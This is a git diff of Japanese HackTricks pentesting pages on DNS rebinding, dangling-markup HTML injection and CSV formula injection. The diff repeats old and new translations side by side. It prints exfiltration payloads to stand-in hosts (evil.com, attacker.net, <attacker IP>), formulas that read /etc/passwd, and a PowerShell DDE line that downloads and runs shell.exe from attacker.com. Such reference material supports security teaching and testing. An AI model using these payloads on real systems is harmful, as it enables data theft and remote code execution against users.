GodaddyやCloudflareなどのプロバイダーは、IP **0.0.0.0** を使用することを許可してくれませんでしたが、AWS Route53では1つのAレコードに2つのIPを作成することができました。 godaddyやcloudflareなどのプロバイダーは、IP **0.0.0.0** を使用することを許可してくれませんでしたが、AWS route53は1つのAレコードを作成し、そのうちの1つを "0.0.0.0" とすることを許可してくれました。
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original"> <img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
{% endhint %} {% endhint %}
@ -339,7 +337,7 @@ GodaddyやCloudflareなどのプロバイダーは、IP **0.0.0.0** を使用す
* もし**内部IPが許可されていない**場合、**0.0.0.0を禁止するのを忘れている**可能性がありますLinuxとMacで機能します * もし**内部IPが許可されていない**場合、**0.0.0.0を禁止するのを忘れている**可能性がありますLinuxとMacで機能します
* もし**内部IPが許可されていない**場合、**localhost**への**CNAME**で応答するLinuxとMacで機能します * もし**内部IPが許可されていない**場合、**localhost**への**CNAME**で応答するLinuxとMacで機能します
* **内部IPが許可されていない**場合、DNS応答として**www.corporate.internal**などの**内部サービスへのCNAME**を応答できます。 * **内部IPがDNS応答として許可されていない**場合、www.corporate.internalなどの**内部サービスへのCNAME**で応答できます。
### DNS Rebindingの武器化 ### DNS Rebindingの武器化
@ -352,12 +350,13 @@ GodaddyやCloudflareなどのプロバイダーは、IP **0.0.0.0** を使用す
* 内部サービスでTLSを使用する * 内部サービスでTLSを使用する
* データにアクセスするための認証を要求する * データにアクセスするための認証を要求する
* Hostヘッダーを検証する * Hostヘッダーを検証する
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): パブリックサーバーが内部サーバーにアクセスする際に常にプリフライトリクエストを送信する提案 * [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): パブリックサーバーが内部サーバーにアクセスする際に常にプリフライトリクエストを送信するための提案
## **ツール** ## **ツール**
**CORSポリシーの可能なミス構成をファジングする** **CORSポリシーの可能なミス構成をファジング**
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner) * [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer) * [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy) * [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
@ -374,17 +373,3 @@ GodaddyやCloudflareなどのプロバイダーは、IP **0.0.0.0** を使用す
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646) * [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b) * [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>でAWSハッキングをゼロからヒーローまで学ぶ</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見る
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -4,28 +4,28 @@
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。 - 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 - **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
</details> </details>
## 要約 ## 要約
このテクニックは、**HTMLインジェクションが見つかったときにユーザーから情報を抽出するために使用**できます。これは、[**XSS**](../xss-cross-site-scripting/)を**悪用する方法が見つからない**場合に非常に便利ですが、**いくつかのHTMLタグをインジェクトできる**場合に役立ちます。\ このテクニックは、**HTMLインジェクションが見つかったときにユーザーから情報を抽出する**ために使用できます。これは、[**XSS**](../xss-cross-site-scripting/)を**悪用する方法が見つからない**場合に非常に役立ちますが、**いくつかのHTMLタグをインジェクトできる**場合です。\
また、いくつかの**秘密が平文で保存**されており、クライアントからそれを**外部に送信**したい場合や、スクリプトの実行を誤誘導したい場合にも役立ちます。 また、**秘密が平文で保存されている**場合にクライアントからそれを**外部に送信**したい場合や、スクリプトの実行を誤誘導したい場合にも役立ちます。
ここでコメントされているいくつかのテクニックは、予期しない方法で情報を外部に送信することによっていくつかの[**コンテンツセキュリティポリシー**](../content-security-policy-csp-bypass/)をバイパスするために使用できますhtmlタグ、CSS、http-metaタグ、フォーム、baseなど ここでコメントされているいくつかのテクニックは、予期しない方法で情報を外部に送信することによっていくつかの[**Content Security Policy**](../content-security-policy-csp-bypass/)をバイパスするために使用できますhtmlタグ、CSS、http-metaタグ、フォーム、baseなど
## 主な応用 ## 主な応用
### 平文の秘密を盗む ### 平文の秘密を盗む
ページが読み込まれるときに`<img src='http://evil.com/log.cgi?`をインジェクトすると、被害者はインジェクトされた`img`タグとコード内の次の引用符の間のすべてのコードを送信します。そのチャンクに秘密がある場合、それを盗みます(同じことを二重引用符を使用して行うこともできます。より興味深いものになる可能性があるかどうかを確認してください)。 ページが読み込まれるときに`<img src='http://evil.com/log.cgi?`をインジェクトすると、被害者はインジェクトされた`img`タグとコード内の次の引用符の間のすべてのコードを送信します。そのチャンクに秘密がある場合、それを盗みます(同じことを二重引用符を使用して行うこともできます。より興味深いものを使用するかどうかを確認してください)。
`img`タグが禁止されている場合たとえばCSPのため、`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`を使用することもできます。 `img`タグが禁止されている場合たとえばCSPのため、`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`を使用することもできます。
```html ```html
@ -35,7 +35,7 @@ HackTricksをサポートする他の方法:
``` ```
注意してください。**Chromeは、"<"や"\n"を含むHTTP URL**をブロックしますので、"ftp"など他のプロトコルスキームを試すことができます。 注意してください。**Chromeは、"<"や"\n"を含むHTTP URL**をブロックしますので、"ftp"など他のプロトコルスキームを試すことができます。
また、CSSの`@import`を悪用することもできます(";"が見つかるまでコード全体を送信します)。 CSSの`@import`を悪用することもできます(";"が見つかるまでコード全体を送信します)。
```html ```html
<style>@import//hackvertor.co.uk? <--- Injected <style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>; <b>steal me!</b>;
@ -44,7 +44,7 @@ HackTricksをサポートする他の方法:
```html ```html
<table background='//your-collaborator-id.burpcollaborator.net?' <table background='//your-collaborator-id.burpcollaborator.net?'
``` ```
以下は、`<base`タグを挿入することもできます引用符が閉じられるまですべての情報が送信されますがユーザーの操作が必要ですユーザーはリンクをクリックする必要がありますなぜならbaseタグがリンクが指すドメインを変更しているためです: 以下は、`<base`タグを挿入することもできます引用符が閉じられるまですべての情報が送信されますがユーザーの操作が必要ですユーザーはリンクをクリックする必要がありますなぜならbaseタグがリンクが指すドメインを変更しているためです:
```html ```html
<base target=' <--- Injected <base target=' <--- Injected
steal me'<b>test</b> steal me'<b>test</b>
@ -63,9 +63,13 @@ steal me'<b>test</b>
```html ```html
<button name=xss type=submit formaction='https://google.com'>I get consumed! <button name=xss type=submit formaction='https://google.com'>I get consumed!
``` ```
### クリアテキストの秘密情報の盗み取り2 攻撃者はこれを使用して情報を盗むことができます。
最新のテクニックを使用してフォームを盗み取る(新しいフォームヘッダーを注入する)ことができ、その後新しい入力フィールドを注入できます: この攻撃の例を[**この解説で見つける**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)ことができます。
### 明文の秘密を盗む2
最新のテクニックを使用してフォームを盗む(新しいフォームヘッダーを注入する)ことができ、その後新しい入力フィールドを注入できます:
```html ```html
<input type='hidden' name='review_body' value=" <input type='hidden' name='review_body' value="
``` ```
@ -99,15 +103,15 @@ value='fredmbogo'> ← Injected lines
```html ```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript> <noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
``` ```
### ユーザーインタラクションを利用してCSPをバイパスする ### ユーザーインタラクションを使ったCSPのバイパス
この[ポートスウィガーの研究](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)から、**最もCSPが制限された**環境でも、**ユーザーインタラクション**を使ってデータを**外部に送信**することができることがわかります。この場合、以下のペイロードを使用します: この[portswiggersの研究](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)から、**最もCSPが制限された**環境でも、**ユーザーインタラクション**を使ってまだ**データを外部に送信**することができることがわかります。今回は、次のペイロードを使用します:
```html ```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a> <a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target=' <base target='
``` ```
注意してください。**被害者**に**リンクをクリック**してもらい、**あなたが制御する****ペイロード**に**リダイレクト**させるように依頼します。また、**`base`**タグ内の**`target`**属性には、次のシングルクォートまで**HTMLコンテンツ**が含まれていることに注意してください。\ 注意してください。**被害者**に**リンクをクリック**してもらい、それによって**あなたが制御する****ペイロード**に**リダイレクト**されるようにします。また、**`base`**タグ内の**`target`**属性には、次のシングルクォートまで**HTMLコンテンツ**が含まれていることに注意してください。\
これにより、リンクがクリックされた場合の**`window.name`**の**値**は、その**HTMLコンテンツ**全体になります。したがって、リンクをクリックして被害者がアクセスしているページを制御しているため、**`window.name`**にアクセスしてそのデータを**外部送信**することができます。 これにより、リンクがクリックされた場合の**`window.name`**の**値**は、その**HTMLコンテンツ**全体になります。したがって、被害者がリンクをクリックしてアクセスしているページをあなたが制御しているため、その**`window.name`**にアクセスしてそのデータを**外部送信**することができます。
```html ```html
<script> <script>
if(window.name) { if(window.name) {
@ -133,7 +137,7 @@ request.share_with = document.getElementById('share_with').value;
``` ```
### 誤解を招くスクリプトワークフロー2 - スクリプト名前空間攻撃 ### 誤解を招くスクリプトワークフロー2 - スクリプト名前空間攻撃
HTMLタグを挿入してJavaScript名前空間内に変数を作成します。その後、この変数はアプリケーションのフローに影響を与えます。 HTMLタグを挿入してjavascript名前空間内に変数を作成します。その後、この変数はアプリケーションのフローに影響を与えます。
```html ```html
<img id='is_public'> ← Injected markup <img id='is_public'> ← Injected markup
@ -175,13 +179,13 @@ set_sharing({ ... })
``` ```
### Iframeの悪用 ### Iframeの悪用
子ドキュメントは、親の`location`プロパティをクロスオリジンの状況でも表示および変更する機能を持っています。これにより、**iframe**内にスクリプトを埋め込み、クライアントを任意のページにリダイレクトさせることが可能です。 子ドキュメントは、親の`location`プロパティをクロスオリジンの状況でも表示および変更する機能を持っています。これにより、**iframe**内にスクリプトを埋め込み、クライアントを任意のページにリダイレクトることが可能です。
```html ```html
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html> <html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
``` ```
これは次のようにして緩和することができます: `sandbox=' allow-scripts allow-top-navigation'` これは次のように緩和することができます: `sandbox=' allow-scripts allow-top-navigation'`
また、別のページから機密情報を漏洩させるためにiframeを悪用することもできます **iframeのname属性を使用**。これは、**機密情報がiframeのname属性内に表示されるようにするHTMLインジェクションを悪用して自分自身をiframe化するiframeを作成できる**ため、初期のiframeからその名前にアクセスして漏洩させることができます。 また、別のページから機密情報を漏洩させるためにiframeを悪用することもできます **iframeのname属性を使用**。これは、**機密情報がiframeのname属性内に表示される**HTMLインジェクションを悪用して、自分自身をiframesするiframeを作成できるため、初期のiframeからその名前にアクセスして漏洩させることができるためです。
```html ```html
<script> <script>
function cspBypass(win) { function cspBypass(win) {
@ -202,18 +206,18 @@ For more info check [https://portswigger.net/research/bypassing-csp-with-danglin
### 新しい\<portal HTMLタグ ### 新しい\<portal HTMLタグ
\<portalタグの脆弱性に関する非常に**興味深い研究**を[こちら](https://research.securitum.com/security-analysis-of-portal-element/)で見つけることができます。\ \<portalタグの脆弱性に関する非常に**興味深い研究**が[こちら](https://research.securitum.com/security-analysis-of-portal-element/)で見つけられます。\
この執筆時点では、Chromeで`chrome://flags/#enable-portals`でportalタグを有効にする必要があります。それ以外の場合は機能しません。 この執筆時点では、Chromeで`chrome://flags/#enable-portals`でportalタグを有効にする必要があります。それ以外の場合は機能しません。
```html ```html
<portal src='https://attacker-server? <portal src='https://attacker-server?
``` ```
### HTML リーク ### HTMLリーク
HTML で接続情報を漏洩させる方法のすべてが Dangling Markup に役立つわけではありませんが、時には役立つこともあります。こちらで確認できます: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html) HTMLで接続情報を漏洩させる方法のすべてがDangling Markupに役立つわけではありませんが、時には役立つこともあります。こちらで確認できます[https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Leaks ## SSリーク
これは **dangling markup XS-Leaks のミックス**です。脆弱性の一方では、攻撃対象となるページの **同一オリジン** に HTMLJS ではない)を **注入** することができます。他方では、HTML を注入できるページを直接攻撃するのではなく、**別のページ** を攻撃します。 これは**dangling markupとXS-Leaksのミックス**です。脆弱性の一方では、攻撃対象となるページと**同じオリジン**のページに**HTMLを注入**することができますが、もう一方では、HTMLを注入できるページを直接攻撃するのではなく、**別のページ**を攻撃します。
{% content-ref url="ss-leaks.md" %} {% content-ref url="ss-leaks.md" %}
[ss-leaks.md](ss-leaks.md) [ss-leaks.md](ss-leaks.md)
@ -221,7 +225,7 @@ HTML で接続情報を漏洩させる方法のすべてが Dangling Markup に
## XS-Search/XS-Leaks ## XS-Search/XS-Leaks
XS-Search **サイドチャネル攻撃を悪用してクロスオリジン情報を外部流出** することを目的としています。そのため、これは Dangling Markup とは異なる技術ですが、一部の技術は HTML タグの含有を悪用していますJS の実行あり・なし)、例えば [**CSS Injection**](../xs-search.md#css-injection) や [**Lazy Load Images**](../xs-search.md#image-lazy-loading)**.** XS-Searchは**サイドチャネル攻撃を悪用してクロスオリジン情報を外部に送信**することを目的としています。したがって、これはDangling Markupとは異なる技術ですが、一部の技術はHTMLタグの含有を悪用しますJSの実行あり・なし、例えば[**CSS Injection**](../xs-search.md#css-injection)や[**Lazy Load Images**](../xs-search.md#image-lazy-loading)**など**。
{% content-ref url="../xs-search.md" %} {% content-ref url="../xs-search.md" %}
[xs-search.md](../xs-search.md) [xs-search.md](../xs-search.md)
@ -240,14 +244,14 @@ XS-Search は **サイドチャネル攻撃を悪用してクロスオリジン
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricks で企業を宣伝** したい場合や **HackTricks を PDF でダウンロード** したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出する * **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**</strong>**ゼロからヒーローまでAWSハッキングを学ぶ**</summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
- **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード** したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手 * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
- 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする * **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
- **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングテクニックを共有する * **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,10 +26,10 @@ HackTricks をサポートする他の方法:
### 情報 ### 情報
もし、あなたの **入力****CSVファイル**(またはおそらく **Excel で開かれる他のファイル**)に **反映** されている場合、Excel **フォーミュラ** を入れることができ、ユーザーがファイルを **開いたとき** や、Excel シート内の **リンクをクリックしたとき** **実行** されるかもしれません。 もし、あなたの **入力****CSVファイル**(またはおそらく **Excel で開かれる他のファイル****反映** されている場合、Excel **フォーミュラ** を入れることができ、ユーザーが **ファイルを開いたり** Excel シート内の **リンクをクリックしたり** すると **実行** されるかもしれません。
{% hint style="danger" %} {% hint style="danger" %}
現在、**Excel は**(何度も)**ユーザーに警告を表示**し、悪意ある行動を防ぐために、Excel の外部からの読み込み時に特別な注意が必要です。そのため、最終的なペイロードにはソーシャルエンジニアリングを適用する必要があります。 現在、**Excel は**(何度も)**ユーザーに警告を表示** し、Excel 外部からの読み込みを防ぐための対策を取っています。そのため、最終的なペイロードにはソーシャルエンジニアリングに特別な注意を払う必要があります。
{% endhint %} {% endhint %}
### [ワードリスト](https://github.com/payloadbox/csv-injection-payloads) ### [ワードリスト](https://github.com/payloadbox/csv-injection-payloads)
@ -47,11 +47,11 @@ DDE ("cmd";"/C calc";"!A0")A0
次の例は、[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) から取得されました。 次の例は、[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) から取得されました。
学生記録管理システムでのセキュリティ侵害がCSVインジェクション攻撃を介して悪用されたと想像してください。攻撃者の主な意図は、教師が学生の詳細を管理するために使用するシステムを危険にさらすことです。この方法は、攻撃者が悪意のあるペイロードをアプリケーションに注入し、具体的には学生の詳細用フィールドに有害な数式を入力することによって行われます。攻撃は次のように展開されます: 学生記録管理システムでのセキュリティ侵害がCSVインジェクション攻撃を介して悪用されたと想像してください。攻撃者の主な意図は、教師が学生の詳細を管理するために使用するシステムを危険にさらすことです。この方法は、攻撃者が悪意のあるペイロードをアプリケーションに注入し、具体的には学生の詳細用に設計されたフィールドに有害な数式を入力することによって行われます。攻撃は次のように展開されます:
1. **悪意のあるペイロードの注入:** 1. **悪意のあるペイロードの注入:**
* 攻撃者は学生の詳細フォームを送信しますが、スプレッドシートで一般的に使用される数式(例:`=HYPERLINK("<malicious_link>","Click here")`)を含めます。 * 攻撃者は学生の詳細フォームを送信しますが、スプレッドシートで一般的に使用される数式(例:`=HYPERLINK("<malicious_link>","Click here")`)を含めます。
* この数式はハイパーリンクを作成するように設計されていますが、それは攻撃者が制御する悪意のあるサーバーを指します。 * この数式はハイパーリンクを作成するように設計されていますが、攻撃者が制御する悪意のあるサーバーを指します。
2. **侵害されたデータのエクスポート:** 2. **侵害されたデータのエクスポート:**
* 侵害に気づかない教師は、データをCSVファイルにエクスポートするためにアプリケーションの機能を使用します。 * 侵害に気づかない教師は、データをCSVファイルにエクスポートするためにアプリケーションの機能を使用します。
* 開かれたCSVファイルには、依然として悪意のあるペイロードが含まれています。このペイロードはスプレッドシート内でクリック可能なハイパーリンクとして表示されます。 * 開かれたCSVファイルには、依然として悪意のあるペイロードが含まれています。このペイロードはスプレッドシート内でクリック可能なハイパーリンクとして表示されます。
@ -74,44 +74,44 @@ DDE ("cmd";"/C calc";"!A0")A0
```markdown ```markdown
`=cmd|' /C calc'!xxx` `=cmd|' /C calc'!xxx`
``` ```
追加のコマンドも実行できます。例えば、PowerShellを使用してファイルをダウンロードして実行することができます 追加のコマンドも実行できます。例えば、PowerShellを使用してファイルをダウンロードして実行することができます:
```bash ```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
``` ```
### LibreOffice Calc でのローカルファイルインクルージョンLFI ### LibreOffice Calc におけるローカルファイルインクルージョンLFI
LibreOffice Calc はローカルファイルを読み取り、データを外部に送信するために使用できます。以下はいくつかの方法です: LibreOffice Calc はローカルファイルを読み取り、データを外部に送信するために使用できます。以下はいくつかの方法です:
- ローカルの `/etc/passwd` ファイルから最初の行を読み取る:`='file:///etc/passwd'#$passwd.A1` * ローカルの `/etc/passwd` ファイルから最初の行を読み取る:`='file:///etc/passwd'#$passwd.A1`
- 読み取ったデータを攻撃者が制御するサーバーに送信する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))` * 読み取ったデータを攻撃者が制御するサーバーに送信する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
- 複数行を送信する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` * 複数行を送信する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- DNSエクスフィルトレーション読み取ったデータをDNSクエリとして攻撃者が制御するDNSサーバーに送信する):`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))` * DNS 送信(読み取ったデータを DNS クエリとして攻撃者が制御する DNS サーバーに送信する):`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
### Google Sheets を使用した Out-of-BandOOBデータエクスフィルトレーション ### Out-of-BandOOBデータ送信のための Google Sheets
Google Sheets はOOBデータエクスフィルトレーションに悪用できる関数を提供しています: Google Sheets はOOBデータ送信に悪用できる関数を提供しています:
- **CONCATENATE**: 文字列を連結します - `=CONCATENATE(A2:E2)` * **CONCATENATE**: 文字列を連結します - `=CONCATENATE(A2:E2)`
- **IMPORTXML**: 構造化データからデータをインポートします - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` * **IMPORTXML**: 構造化データからデータをインポートします - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTFEED**: RSSまたはATOMフィードをインポートします - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))` * **IMPORTFEED**: RSS または ATOM フィードをインポートします - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: HTMLテーブルやリストからデータをインポートします - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)` * **IMPORTHTML**: HTML テーブルやリストからデータをインポートします - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
